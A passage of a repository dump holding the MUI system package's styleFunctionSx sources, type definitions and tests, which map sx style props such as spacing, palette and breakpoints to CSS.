its descendants or flex items. Overlapping elements with a higher z-index cover those with a lower one.\n   *\n   * **Initial value**: `auto`\n   *\n   * | Chrome | Firefox | Safari |  Edge  |  IE   |\n   * | :----: | :-----: | :----: | :----: | :---: |\n   * | **1**  |  **1**  | **1**  | **12** | **4** |\n   *\n   * @see https://developer.mozilla.org/docs/Web/CSS/z-index\n   */\n  zIndex?: CSS.Property.ZIndex | string | undefined;\n}\n"
  },
  {
    "path": "packages/mui-system/src/styleFunctionSx/StandardCssProperties.ts",
    "content": "import * as CSS from 'csstype';\n\nexport type StandardCSSProperties = CSS.PropertiesFallback<number | string>;\n"
  },
  {
    "path": "packages/mui-system/src/styleFunctionSx/defaultSxConfig.d.ts",
    "content": "import { StyleFunction, TransformFunction } from '../style';\n\ntype SimpleStyleFunction<PropKey extends keyof any> = StyleFunction<Partial<Record<PropKey, any>>>;\n\nexport interface SxConfigRecord {\n  cssProperty?: keyof React.CSSProperties | false | undefined;\n  /**\n   * dot access in `Theme`\n   */\n  themeKey?: string | undefined;\n  transform?: TransformFunction | undefined;\n  style?: SimpleStyleFunction<any> | undefined;\n}\n\nexport type SxConfig = Record<string, SxConfigRecord>;\n\ndeclare const defaultSxConfig: SxConfig;\n\nexport default defaultSxConfig;\n"
  },
  {
    "path": "packages/mui-system/src/styleFunctionSx/defaultSxConfig.js",
    "content": "import { padding, margin } from '../spacing';\nimport { borderRadius, borderTransform } from '../borders';\nimport { gap, rowGap, columnGap } from '../cssGrid';\nimport { paletteTransform } from '../palette';\nimport { maxWidth, sizingTransform } from '../sizing';\n\nconst defaultSxConfig = {\n  // borders\n  border: {\n    themeKey: 'borders',\n    transform: borderTransform,\n  },\n\n  borderTop: {\n    themeKey: 'borders',\n    transform: borderTransform,\n  },\n\n  borderRight: {\n    themeKey: 'borders',\n    transform: borderTransform,\n  },\n\n  borderBottom: {\n    themeKey: 'borders',\n    transform: borderTransform,\n  },\n\n  borderLeft: {\n    themeKey: 'borders',\n    transform: borderTransform,\n  },\n\n  borderColor: {\n    themeKey: 'palette',\n  },\n\n  borderTopColor: {\n    themeKey: 'palette',\n  },\n\n  borderRightColor: {\n    themeKey: 'palette',\n  },\n\n  borderBottomColor: {\n    themeKey: 'palette',\n  },\n\n  borderLeftColor: {\n    themeKey: 'palette',\n  },\n\n  outline: {\n    themeKey: 'borders',\n    transform: borderTransform,\n  },\n\n  outlineColor: {\n    themeKey: 'palette',\n  },\n\n  borderRadius: {\n    themeKey: 'shape.borderRadius',\n    style: borderRadius,\n  },\n\n  // palette\n  color: {\n    themeKey: 'palette',\n    transform: paletteTransform,\n  },\n  bgcolor: {\n    themeKey: 'palette',\n    cssProperty: 'backgroundColor',\n    transform: paletteTransform,\n  },\n  backgroundColor: {\n    themeKey: 'palette',\n    transform: paletteTransform,\n  },\n\n  // spacing\n  p: {\n    style: padding,\n  },\n  pt: {\n    style: padding,\n  },\n  pr: {\n    style: padding,\n  },\n  pb: {\n    style: padding,\n  },\n  pl: {\n    style: padding,\n  },\n  px: {\n    style: padding,\n  },\n  py: {\n    style: padding,\n  },\n  padding: {\n    style: padding,\n  },\n  paddingTop: {\n    style: padding,\n  },\n  paddingRight: {\n    style: padding,\n  },\n  paddingBottom: {\n    style: padding,\n  },\n  paddingLeft: {\n    style: padding,\n  },\n  paddingX: {\n    style: padding,\n  },\n  paddingY: {\n    style: padding,\n  },\n  paddingInline: {\n    style: padding,\n  },\n  paddingInlineStart: {\n    style: padding,\n  },\n  paddingInlineEnd: {\n    style: padding,\n  },\n  paddingBlock: {\n    style: padding,\n  },\n  paddingBlockStart: {\n    style: padding,\n  },\n  paddingBlockEnd: {\n    style: padding,\n  },\n\n  m: {\n    style: margin,\n  },\n  mt: {\n    style: margin,\n  },\n  mr: {\n    style: margin,\n  },\n  mb: {\n    style: margin,\n  },\n  ml: {\n    style: margin,\n  },\n  mx: {\n    style: margin,\n  },\n  my: {\n    style: margin,\n  },\n  margin: {\n    style: margin,\n  },\n  marginTop: {\n    style: margin,\n  },\n  marginRight: {\n    style: margin,\n  },\n  marginBottom: {\n    style: margin,\n  },\n  marginLeft: {\n    style: margin,\n  },\n  marginX: {\n    style: margin,\n  },\n  marginY: {\n    style: margin,\n  },\n  marginInline: {\n    style: margin,\n  },\n  marginInlineStart: {\n    style: margin,\n  },\n  marginInlineEnd: {\n    style: margin,\n  },\n  marginBlock: {\n    style: margin,\n  },\n  marginBlockStart: {\n    style: margin,\n  },\n  marginBlockEnd: {\n    style: margin,\n  },\n\n  // display\n  displayPrint: {\n    cssProperty: false,\n    transform: (value) => ({\n      '@media print': {\n        display: value,\n      },\n    }),\n  },\n  display: {},\n  overflow: {},\n  textOverflow: {},\n  visibility: {},\n  whiteSpace: {},\n\n  // flexbox\n  flexBasis: {},\n  flexDirection: {},\n  flexWrap: {},\n  justifyContent: {},\n  alignItems: {},\n  alignContent: {},\n  order: {},\n  flex: {},\n  flexGrow: {},\n  flexShrink: {},\n  alignSelf: {},\n  justifyItems: {},\n  justifySelf: {},\n\n  // grid\n  gap: {\n    style: gap,\n  },\n  rowGap: {\n    style: rowGap,\n  },\n  columnGap: {\n    style: columnGap,\n  },\n  gridColumn: {},\n  gridRow: {},\n  gridAutoFlow: {},\n  gridAutoColumns: {},\n  gridAutoRows: {},\n  gridTemplateColumns: {},\n  gridTemplateRows: {},\n  gridTemplateAreas: {},\n  gridArea: {},\n\n  // positions\n  position: {},\n  zIndex: {\n    themeKey: 'zIndex',\n  },\n  top: {},\n  right: {},\n  bottom: {},\n  left: {},\n\n  // shadows\n  boxShadow: {\n    themeKey: 'shadows',\n  },\n\n  // sizing\n  width: {\n    transform: sizingTransform,\n  },\n  maxWidth: {\n    style: maxWidth,\n  },\n  minWidth: {\n    transform: sizingTransform,\n  },\n  height: {\n    transform: sizingTransform,\n  },\n  maxHeight: {\n    transform: sizingTransform,\n  },\n  minHeight: {\n    transform: sizingTransform,\n  },\n  boxSizing: {},\n\n  // typography\n  font: {\n    themeKey: 'font',\n  },\n  fontFamily: {\n    themeKey: 'typography',\n  },\n  fontSize: {\n    themeKey: 'typography',\n  },\n  fontStyle: {\n    themeKey: 'typography',\n  },\n  fontWeight: {\n    themeKey: 'typography',\n  },\n  letterSpacing: {},\n  textTransform: {},\n  lineHeight: {},\n  textAlign: {},\n  typography: {\n    cssProperty: false,\n    themeKey: 'typography',\n  },\n};\n\nexport default defaultSxConfig;\n"
  },
  {
    "path": "packages/mui-system/src/styleFunctionSx/extendSxProp.d.ts",
    "content": "import { SxProps } from './styleFunctionSx';\n\nexport default function extendSxProp<Props extends { sx?: SxProps<any> | undefined } = {}>(\n  props: Props,\n): Props;\n"
  },
  {
    "path": "packages/mui-system/src/styleFunctionSx/extendSxProp.js",
    "content": "import { isPlainObject } from '@mui/utils/deepmerge';\nimport defaultSxConfig from './defaultSxConfig';\n\nconst splitProps = (props) => {\n  const result = {\n    systemProps: {},\n    otherProps: {},\n  };\n\n  const config = props?.theme?.unstable_sxConfig ?? defaultSxConfig;\n\n  Object.keys(props).forEach((prop) => {\n    if (config[prop]) {\n      result.systemProps[prop] = props[prop];\n    } else {\n      result.otherProps[prop] = props[prop];\n    }\n  });\n\n  return result;\n};\n\nexport default function extendSxProp(props) {\n  const { sx: inSx, ...other } = props;\n  const { systemProps, otherProps } = splitProps(other);\n\n  let finalSx;\n  if (Array.isArray(inSx)) {\n    finalSx = [systemProps, ...inSx];\n  } else if (typeof inSx === 'function') {\n    finalSx = (...args) => {\n      const result = inSx(...args);\n      if (!isPlainObject(result)) {\n        return systemProps;\n      }\n      return { ...systemProps, ...result };\n    };\n  } else {\n    finalSx = { ...systemProps, ...inSx };\n  }\n\n  return {\n    ...otherProps,\n    sx: finalSx,\n  };\n}\n"
  },
  {
    "path": "packages/mui-system/src/styleFunctionSx/extendSxProp.test.js",
    "content": "import { expect } from 'chai';\nimport extendSxProp from './extendSxProp';\n\ndescribe('extendSxProp', () => {\n  it('should add system props in the sx prop', () => {\n    expect(extendSxProp({ mb: 2, mt: [1, 2, 3] })).to.deep.equal({\n      sx: {\n        mb: 2,\n        mt: [1, 2, 3],\n      },\n    });\n  });\n\n  it('should merge system props with the sx prop', () => {\n    expect(extendSxProp({ mb: 2, mt: [1, 2, 3], sx: { mr: 2, mb: 1 } })).to.deep.equal({\n      sx: {\n        mb: 1,\n        mt: [1, 2, 3],\n        mr: 2,\n      },\n    });\n  });\n\n  it('should not process non system props', () => {\n    expect(extendSxProp({ ariaLabel: 'label', sx: { mr: 2, mb: 1 } })).to.deep.equal({\n      sx: {\n        mr: 2,\n        mb: 1,\n      },\n      ariaLabel: 'label',\n    });\n  });\n\n  it('should merge system props with the sx prop of function type', () => {\n    const { sx } = extendSxProp({ mb: 2, mt: [1, 2, 3], sx: () => ({ mr: 2, mb: 1 }) });\n    expect(sx()).to.deep.equal({\n      mb: 1,\n      mt: [1, 2, 3],\n      mr: 2,\n    });\n  });\n\n  it('should pass params to sx', () => {\n    const { sx } = extendSxProp({\n      sx: (props) => ({ width: props.theme.width }),\n    });\n    expect(sx({ theme: { width: 200 } })).to.deep.equal({\n      width: 200,\n    });\n  });\n\n  it('should not process non system props with the sx prop of function type', () => {\n    const { sx, ...other } = extendSxProp({ 'aria-label': 'label', sx: () => ({ mr: 2, mb: 1 }) });\n    expect(other).to.deep.equal({\n      'aria-label': 'label',\n    });\n  });\n\n  it('neglect sx result that is not plain object', () => {\n    const { sx } = extendSxProp({ mb: 2, mt: [1, 2, 3], sx: () => 'unknown' });\n    expect(sx()).to.deep.equal({\n      mb: 2,\n      mt: [1, 2, 3],\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/styleFunctionSx/index.d.ts",
    "content": "export { default } from './styleFunctionSx';\n\nexport * from './styleFunctionSx';\nexport * from './AliasesCSSProperties';\nexport * from './OverwriteCSSProperties';\nexport * from './StandardCssProperties';\n\nexport { default as extendSxProp } from './extendSxProp';\n\nexport { default as unstable_defaultSxConfig } from './defaultSxConfig';\nexport * from './defaultSxConfig';\n\nexport * from './extendSxProp';\n"
  },
  {
    "path": "packages/mui-system/src/styleFunctionSx/index.js",
    "content": "export { default } from './styleFunctionSx';\nexport { unstable_createStyleFunctionSx } from './styleFunctionSx';\nexport { default as extendSxProp } from './extendSxProp';\nexport { default as unstable_defaultSxConfig } from './defaultSxConfig';\n"
  },
  {
    "path": "packages/mui-system/src/styleFunctionSx/styleFunctionSx.d.ts",
    "content": "import * as CSS from 'csstype';\nimport { CSSObject } from '@mui/styled-engine';\nimport { StandardCSSProperties } from './StandardCssProperties';\nimport { AliasesCSSProperties } from './AliasesCSSProperties';\nimport { OverwriteCSSProperties } from './OverwriteCSSProperties';\n\n/**\n * The `css` function accepts arrays as values for mobile-first responsive styles.\n * Note that this extends to non-theme values also. For example `display=['none', 'block']`\n * will also works.\n */\nexport type ResponsiveStyleValue<T> = T | ReadonlyArray<T | null> | { [key: string]: T | null };\n\n/**\n * Map of all CSS pseudo selectors (`:hover`, `:focus`, ...).\n */\nexport type CSSPseudoSelectorProps<Theme extends object = {}> = {\n  [K in CSS.Pseudos]?: ((theme: Theme) => SystemStyleObject<Theme>) | SystemStyleObject<Theme>;\n};\n\n/**\n * Map all nested selectors.\n */\nexport interface CSSSelectorObject<Theme extends object = {}> {\n  [cssSelector: string]: ((theme: Theme) => SystemStyleObject<Theme>) | SystemStyleObject<Theme>;\n}\n\ntype CssVariableType = string | number;\n\n/**\n * Map all nested selectors and CSS variables.\n */\nexport interface CSSSelectorObjectOrCssVariables<Theme extends object = {}> {\n  [cssSelectorOrVariable: string]:\n    | ((theme: Theme) => SystemStyleObject<Theme> | string | number)\n    | SystemStyleObject<Theme>\n    | CssVariableType;\n}\n\n/**\n * Map of all available CSS properties (including aliases) and their raw value.\n * Only used internally to map CSS properties to input types (responsive value,\n * theme function or nested) in `SystemCssProperties`.\n */\nexport interface AllSystemCSSProperties\n  extends\n    Omit<StandardCSSProperties, keyof OverwriteCSSProperties>,\n    OverwriteCSSProperties,\n    AliasesCSSProperties {}\n\nexport type SystemCssProperties<Theme extends object = {}> = {\n  [K in keyof AllSystemCSSProperties]:\n    | ResponsiveStyleValue<AllSystemCSSProperties[K]>\n    | ((theme: Theme) => ResponsiveStyleValue<AllSystemCSSProperties[K]>)\n    | null;\n};\n\n/**\n * The `SystemStyleObject` defines custom properties that will be transformed to\n * their corresponding values from the `Theme`. Other valid CSS properties are also allowed.\n */\nexport type SystemStyleObject<Theme extends object = {}> =\n  | SystemCssProperties<Theme>\n  | CSSPseudoSelectorProps<Theme>\n  | CSSSelectorObjectOrCssVariables<Theme>\n  | null;\n\n/**\n * The `SxProps` can be either object or function\n */\nexport type SxProps<Theme extends object = {}> =\n  | SystemStyleObject<Theme>\n  | ((theme: Theme) => SystemStyleObject<Theme>)\n  | ReadonlyArray<\n      boolean | SystemStyleObject<Theme> | ((theme: Theme) => SystemStyleObject<Theme>)\n    >;\n\nexport interface StyleFunctionSx {\n  (props: object): CSSObject;\n  filterProps?: string[] | undefined;\n}\n\n// eslint-disable-next-line @typescript-eslint/naming-convention\nexport function unstable_createStyleFunctionSx(\n  styleFunctionMapping: Record<string, StyleFunctionSx>,\n): StyleFunctionSx;\n\ndeclare const styleFunctionSx: StyleFunctionSx;\n\nexport default styleFunctionSx;\n"
  },
  {
    "path": "packages/mui-system/src/styleFunctionSx/styleFunctionSx.js",
    "content": "import merge from '@mui/utils/fastDeepAssign';\nimport { getPath, getStyleValue2 } from '../style';\nimport {\n  hasBreakpoint,\n  iterateBreakpoints,\n  createEmptyBreakpointObject,\n  removeUnusedBreakpoints,\n  DEFAULT_BREAKPOINTS,\n} from '../breakpoints';\nimport { sortContainerQueries } from '../cssContainerQueries';\nimport defaultSxConfig from './defaultSxConfig';\n\n/* eslint-disable guard-for-in */\n\nconst EMPTY_THEME = {};\n\n// eslint-disable-next-line @typescript-eslint/naming-convention\nexport function unstable_createStyleFunctionSx() {\n  function styleFunctionSx(props) {\n    if (!props.sx) {\n      return null;\n    }\n\n    const { sx, theme = EMPTY_THEME, nested } = props;\n\n    const config = theme.unstable_sxConfig ?? defaultSxConfig;\n\n    // Pass argument without loop allocations\n    const wrapper = { sx: null, theme, nested: true };\n\n    function process(sxInput) {\n      let sxObject = sxInput;\n      if (typeof sxInput === 'function') {\n        sxObject = sxInput(theme);\n      } else if (typeof sxInput !== 'object') {\n        // value\n        return sxInput;\n      }\n      if (!sxObject) {\n        return null;\n      }\n\n      const breakpoints = theme.breakpoints ?? DEFAULT_BREAKPOINTS;\n\n      const css = createEmptyBreakpointObject(breakpoints);\n\n      for (const styleKey in sxObject) {\n        const value = callIfFn(sxObject[styleKey], theme);\n        if (value === null || value === undefined) {\n          continue;\n        }\n        if (typeof value !== 'object') {\n          setThemeValue(css, styleKey, value, theme, config);\n          continue;\n        }\n        if (config[styleKey]) {\n          setThemeValue(css, styleKey, value, theme, config);\n          continue;\n        }\n\n        if (hasBreakpoint(breakpoints, value)) {\n          iterateBreakpoints(css, props.theme, value, (mediaKey, finalValue) => {\n            css[mediaKey][styleKey] = finalValue;\n          });\n        } else {\n          wrapper.sx = value;\n          css[styleKey] = styleFunctionSx(wrapper);\n        }\n      }\n\n      if (!nested && theme.modularCssLayers) {\n        return {\n          '@layer sx': sortContainerQueries(theme, removeUnusedBreakpoints(breakpoints, css)),\n        };\n      }\n\n      return sortContainerQueries(theme, removeUnusedBreakpoints(breakpoints, css));\n    }\n\n    return Array.isArray(sx) ? sx.map(process) : process(sx);\n  }\n\n  styleFunctionSx.filterProps = ['sx'];\n\n  return styleFunctionSx;\n}\n\nexport default unstable_createStyleFunctionSx();\n\nfunction setThemeValue(css, prop, value, theme, config) {\n  const options = config[prop];\n\n  if (!options) {\n    css[prop] = value;\n    return;\n  }\n\n  if (value == null) {\n    return;\n  }\n\n  const { themeKey } = options;\n  // TODO v6: remove, see https://github.com/mui/material-ui/pull/38123\n  if (themeKey === 'typography' && value === 'inherit') {\n    css[prop] = value;\n    return;\n  }\n\n  const { style } = options;\n  if (style) {\n    merge(\n      css,\n      style({\n        [prop]: value,\n        theme,\n      }),\n    );\n    return;\n  }\n\n  const { cssProperty = prop, transform } = options;\n  const themeMapping = getPath(theme, themeKey);\n\n  iterateBreakpoints(css, theme, value, (mediaKey, valueFinal) => {\n    const finalValue = getStyleValue2(themeMapping, transform, valueFinal, prop);\n\n    if (cssProperty === false) {\n      if (mediaKey) {\n        css[mediaKey] = finalValue;\n      } else {\n        merge(css, finalValue);\n      }\n    } else {\n      // eslint-disable-next-line no-lonely-if\n      if (mediaKey) {\n        css[mediaKey][cssProperty] = finalValue;\n      } else {\n        css[cssProperty] = finalValue;\n      }\n    }\n  });\n}\n\nfunction callIfFn(maybeFn, arg) {\n  return typeof maybeFn === 'function' ? maybeFn(arg) : maybeFn;\n}\n"
  },
  {
    "path": "packages/mui-system/src/styleFunctionSx/styleFunctionSx.spec.tsx",
    "content": "import { SxProps } from '@mui/system';\n\ninterface Theme {\n  color: string;\n}\n\nfunction Text(props: { sx?: SxProps<Theme> }) {\n  return null;\n}\n\n// object\n<Text sx={{ color: '#121212' }} />;\n\n// function\n<Text sx={(theme) => ({ color: theme.color })} />;\n\n// array\n<Text sx={[(theme) => ({ color: theme.color }), { m: 2 }]} />;\n\n// null\n<Text sx={{ m: null, transform: null, typography: undefined }} />;\n\n// array contains boolean\n// eslint-disable-next-line no-constant-binary-expression\n<Text sx={[false && { p: 2 }, { m: 2 }]} />;\n"
  },
  {
    "path": "packages/mui-system/src/styleFunctionSx/styleFunctionSx.test.js",
    "content": "import { expect } from 'chai';\nimport styleFunctionSx from './styleFunctionSx';\nimport cssContainerQueries from '../cssContainerQueries';\nimport createBreakpoints from '../createBreakpoints/createBreakpoints';\nimport createTheme from '../createTheme';\n\ndescribe('styleFunctionSx', () => {\n  const breakpointsValues = {\n    xs: 0,\n    sm: 600,\n    md: 960,\n    lg: 1280,\n    xl: 1920,\n  };\n\n  const round = (value) => Math.round(value * 1e5) / 1e5;\n\n  const theme = createTheme(\n    cssContainerQueries({\n      spacing: (val) => `${val * 10}px`,\n      breakpoints: createBreakpoints({ values: breakpointsValues }),\n      palette: {\n        primary: {\n          main: 'rgb(0, 0, 255)',\n        },\n        secondary: {\n          main: 'rgb(0, 255, 0)',\n        },\n      },\n      typography: {\n        fontFamily: '\"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n        fontWeightLight: 300,\n        fontSize: 14,\n        body1: {\n          fontFamily: '\"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n          fontSize: '1rem',\n          letterSpacing: `${round(0.15 / 16)}em`,\n          fontWeight: 400,\n          lineHeight: 1.5,\n        },\n        body2: {\n          fontFamily: '\"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n          fontSize: `${14 / 16}rem`,\n          letterSpacing: `${round(0.15 / 14)}em`,\n          fontWeight: 400,\n          lineHeight: 1.43,\n        },\n      },\n    }),\n  );\n\n  describe('system', () => {\n    it('resolves system', () => {\n      const result = styleFunctionSx({\n        theme,\n        sx: {\n          color: 'primary.main',\n          bgcolor: 'secondary.main',\n          outline: 1,\n          outlineColor: 'secondary.main',\n          m: 2,\n          p: 1,\n          fontFamily: 'default',\n          fontWeight: 'light',\n          fontSize: 'fontSize',\n          maxWidth: 'sm',\n          displayPrint: 'block',\n          border: [1, 2, 3, 4, 5],\n        },\n      });\n\n      expect(result).to.deep.equal({\n        color: 'rgb(0, 0, 255)',\n        backgroundColor: 'rgb(0, 255, 0)',\n        outline: '1px solid',\n        outlineColor: 'rgb(0, 255, 0)',\n        margin: '20px',\n        padding: '10px',\n        fontFamily: '\"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n        fontWeight: 300,\n        fontSize: 14,\n        maxWidth: 600,\n        '@media print': {\n          display: 'block',\n        },\n        '@media (min-width:0px)': { border: '1px solid' },\n        '@media (min-width:600px)': { border: '2px solid' },\n        '@media (min-width:960px)': { border: '3px solid' },\n        '@media (min-width:1280px)': { border: '4px solid' },\n        '@media (min-width:1920px)': { border: '5px solid' },\n      });\n    });\n\n    it('resolves system typography', () => {\n      const result = styleFunctionSx({\n        theme,\n        sx: { typography: ['body2', 'body1'] },\n      });\n\n      expect(result).to.deep.equal({\n        '@media (min-width:0px)': {\n          fontFamily: '\"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n          fontSize: `${14 / 16}rem`,\n          letterSpacing: `${round(0.15 / 14)}em`,\n          fontWeight: 400,\n          lineHeight: 1.43,\n        },\n        '@media (min-width:600px)': {\n          fontFamily: '\"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n          fontSize: '1rem',\n          letterSpacing: `${round(0.15 / 16)}em`,\n          fontWeight: 400,\n          lineHeight: 1.5,\n        },\n      });\n    });\n\n    it('allow values to be `null` or `undefined`', () => {\n      const result = styleFunctionSx({\n        theme,\n        sx: { typography: null, m: 0, p: null, transform: null },\n      });\n      expect(result).to.deep.equal({\n        margin: '0px',\n      });\n    });\n  });\n\n  it('resolves non system CSS properties if specified', () => {\n    const result = styleFunctionSx({\n      theme,\n      sx: {\n        background: 'rgb(0, 0, 255)',\n        '&:hover': {\n          backgroundColor: 'primary.main',\n          opacity: {\n            xs: 0.1,\n            sm: 0.2,\n            md: 0.3,\n            lg: 0.4,\n            xl: 0.5,\n          },\n          translate: ['transform(10px)', 'transform(20px)'],\n          border: [1, 2, 3],\n          borderColor: (t) => [t.palette.secondary.main, t.palette.primary.main],\n        },\n      },\n    });\n\n    expect(result).to.deep.equal({\n      background: 'rgb(0, 0, 255)',\n      '&:hover': {\n        backgroundColor: 'rgb(0, 0, 255)',\n        '@media (min-width:0px)': {\n          opacity: 0.1,\n          border: '1px solid',\n          borderColor: 'rgb(0, 255, 0)',\n          translate: 'transform(10px)',\n        },\n        '@media (min-width:600px)': {\n          opacity: 0.2,\n          border: '2px solid',\n          borderColor: 'rgb(0, 0, 255)',\n          translate: 'transform(20px)',\n        },\n        '@media (min-width:960px)': { opacity: 0.3, border: '3px solid' },\n        '@media (min-width:1280px)': { opacity: 0.4 },\n        '@media (min-width:1920px)': { opacity: 0.5 },\n      },\n    });\n  });\n\n  describe('breakpoints', () => {\n    const breakpointsExpectedResult = {\n      '@media (min-width:0px)': { border: '1px solid' },\n      '@media (min-width:600px)': { border: '2px solid' },\n      '@media (min-width:960px)': { border: '3px solid' },\n      '@media (min-width:1280px)': { border: '4px solid' },\n      '@media (min-width:1920px)': { border: '5px solid' },\n    };\n\n    it('resolves breakpoints array', () => {\n      const result = styleFunctionSx({\n        theme,\n        sx: { border: [1, 2, 3, 4, 5] },\n      });\n\n      expect(result).to.deep.equal(breakpointsExpectedResult);\n    });\n\n    it('resolves breakpoints object', () => {\n      const result = styleFunctionSx({\n        theme,\n        sx: {\n          border: {\n            xs: 1,\n            sm: 2,\n            md: 3,\n            lg: 4,\n            xl: 5,\n          },\n        },\n      });\n\n      expect(result).to.deep.equal(breakpointsExpectedResult);\n    });\n\n    it('merges multiple breakpoints object', () => {\n      const result = styleFunctionSx({\n        theme,\n        sx: { m: [1, 2, 3], p: [5, 6, 7] },\n      });\n\n      expect(result).to.deep.equal({\n        '@media (min-width:0px)': { padding: '50px', margin: '10px' },\n        '@media (min-width:600px)': { padding: '60px', margin: '20px' },\n        '@media (min-width:960px)': { padding: '70px', margin: '30px' },\n      });\n    });\n\n    it('writes breakpoints in correct order', () => {\n      const result = styleFunctionSx({\n        theme,\n        sx: { m: { md: 1, lg: 2 }, p: { xs: 0, sm: 1, md: 2 } },\n      });\n\n      // Test the order\n      expect(Object.keys(result)).to.deep.equal([\n        '@media (min-width:0px)',\n        '@media (min-width:600px)',\n        '@media (min-width:960px)',\n        '@media (min-width:1280px)',\n      ]);\n\n      expect(result).to.deep.equal({\n        '@media (min-width:0px)': { padding: '0px' },\n        '@media (min-width:600px)': { padding: '10px' },\n        '@media (min-width:960px)': { padding: '20px', margin: '10px' },\n        '@media (min-width:1280px)': { margin: '20px' },\n      });\n    });\n  });\n\n  describe('container queries', () => {\n    const queriesExpectedResult = {\n      '@container (min-width:0px)': { border: '1px solid' },\n      '@container (min-width:600px)': { border: '2px solid' },\n      '@container (min-width:960px)': { border: '3px solid' },\n      '@container (min-width:1280px)': { border: '4px solid' },\n      '@container (min-width:1920px)': { border: '5px solid' },\n    };\n\n    it('resolves queries object', () => {\n      const result = styleFunctionSx({\n        theme,\n        sx: {\n          border: {\n            '@xs': 1,\n            '@sm': 2,\n            '@md': 3,\n            '@lg': 4,\n            '@xl': 5,\n          },\n        },\n      });\n\n      expect(result).to.deep.equal(queriesExpectedResult);\n    });\n\n    it('merges multiple queries object', () => {\n      const result = styleFunctionSx({\n        theme,\n        sx: {\n          m: {\n            '@xs': 1,\n            '@sm': 2,\n            '@md': 3,\n          },\n          p: {\n            '@xs': 5,\n            '@sm': 6,\n            '@md': 7,\n          },\n        },\n      });\n\n      expect(result).to.deep.equal({\n        '@container (min-width:0px)': { padding: '50px', margin: '10px' },\n        '@container (min-width:600px)': { padding: '60px', margin: '20px' },\n        '@container (min-width:960px)': { padding: '70px', margin: '30px' },\n      });\n    });\n\n    it('writes queries in correct order', () => {\n      const result = styleFunctionSx({\n        theme,\n        sx: { m: { '@md': 1, '@lg': 2 }, p: { '@xs': 0, '@sm': 1, '@md': 2 } },\n      });\n\n      // Test the order\n      expect(Object.keys(result)).to.deep.equal([\n        '@container (min-width:0px)',\n        '@container (min-width:600px)',\n        '@container (min-width:960px)',\n        '@container (min-width:1280px)',\n      ]);\n\n      expect(result).to.deep.equal({\n        '@container (min-width:0px)': { padding: '0px' },\n        '@container (min-width:600px)': { padding: '10px' },\n        '@container (min-width:960px)': { padding: '20px', margin: '10px' },\n        '@container (min-width:1280px)': { margin: '20px' },\n      });\n    });\n\n    it('resolves container query shorthands for non-system CSS properties', () => {\n      const result = styleFunctionSx({\n        theme,\n        sx: {\n          opacity: {\n            '@xs': 0.1,\n            '@sm': 0.2,\n          },\n        },\n      });\n\n      expect(result).to.deep.equal({\n        '@container (min-width:0px)': { opacity: 0.1 },\n        '@container (min-width:600px)': { opacity: 0.2 },\n      });\n    });\n  });\n\n  describe('theme callback', () => {\n    it('works on CSS properties', () => {\n      const result = styleFunctionSx({\n        theme,\n        sx: {\n          background: (t) => t.palette.primary.main,\n        },\n      });\n\n      // Test the order\n      expect(result).to.deep.equal({ background: 'rgb(0, 0, 255)' });\n    });\n\n    it('works on pseudo selectors', () => {\n      const result = styleFunctionSx({\n        theme,\n        sx: {\n          '&:hover': (t) => ({ background: t.palette.primary.main }),\n        },\n      });\n\n      // Test the order\n      expect(result).to.deep.equal({ '&:hover': { background: 'rgb(0, 0, 255)' } });\n    });\n\n    it('works on nested selectors', () => {\n      const result = styleFunctionSx({\n        theme,\n        sx: {\n          '& .test-classname': (t) => ({ background: t.palette.primary.main }),\n        },\n      });\n\n      // Test the order\n      expect(result).to.deep.equal({ '& .test-classname': { background: 'rgb(0, 0, 255)' } });\n    });\n  });\n\n  describe('`sx` of function type', () => {\n    it('resolves system padding', () => {\n      const result = styleFunctionSx({\n        theme,\n        sx: () => ({\n          p: 1,\n        }),\n      });\n      expect(result).to.deep.equal({\n        padding: '10px',\n      });\n    });\n\n    it('resolves theme object', () => {\n      const result = styleFunctionSx({\n        theme,\n        sx: (userTheme) => userTheme.typography.body1,\n      });\n      expect(result).to.deep.equal({\n        fontFamily: '\"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n        fontSize: '1rem',\n        letterSpacing: `${round(0.15 / 16)}em`,\n        fontWeight: 400,\n        lineHeight: 1.5,\n      });\n    });\n\n    it('resolves a mix of theme object and system padding', () => {\n      const result = styleFunctionSx({\n        theme,\n        sx: (userTheme) => ({ p: 1, ...userTheme.typography.body1 }),\n      });\n      expect(result).to.deep.equal({\n        padding: '10px',\n        fontFamily: '\"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n        fontSize: '1rem',\n        letterSpacing: `${round(0.15 / 16)}em`,\n        fontWeight: 400,\n        lineHeight: 1.5,\n      });\n    });\n  });\n\n  describe('`sx` of array type', () => {\n    it('resolves system props', () => {\n      const result = styleFunctionSx({\n        theme,\n        sx: [\n          {\n            bgcolor: 'background.paper',\n            boxShadow: 1,\n            borderRadius: 1,\n            p: 2,\n            minWidth: 300,\n          },\n          {\n            bgcolor: 'primary.main',\n          },\n        ],\n      });\n      expect(result).to.deep.equal([\n        {\n          backgroundColor: 'background.paper',\n          borderRadius: 4,\n          boxShadow: 1,\n          minWidth: 300,\n          padding: '20px',\n        },\n        {\n          backgroundColor: 'rgb(0, 0, 255)',\n        },\n      ]);\n    });\n\n    it('works with function inside array', () => {\n      const result = styleFunctionSx({\n        theme,\n        sx: [\n          { bgcolor: 'primary.main' },\n          (t) => ({\n            borderRadius: t.spacing(1),\n          }),\n        ],\n      });\n\n      expect(result).to.deep.equal([\n        { backgroundColor: 'rgb(0, 0, 255)' },\n        { borderRadius: '10px' },\n      ]);\n    });\n\n    it('works with media query syntax', () => {\n      const result = styleFunctionSx({\n        theme,\n        sx: [{ border: [1, 2, 3, 4, 5] }, { m: [1, 2, 3], p: [5, 6, 7] }],\n      });\n\n      expect(result).to.deep.equal([\n        {\n          '@media (min-width:0px)': { border: '1px solid' },\n          '@media (min-width:600px)': { border: '2px solid' },\n          '@media (min-width:960px)': { border: '3px solid' },\n          '@media (min-width:1280px)': { border: '4px solid' },\n          '@media (min-width:1920px)': { border: '5px solid' },\n        },\n        {\n          '@media (min-width:0px)': { padding: '50px', margin: '10px' },\n          '@media (min-width:600px)': { padding: '60px', margin: '20px' },\n          '@media (min-width:960px)': { padding: '70px', margin: '30px' },\n        },\n      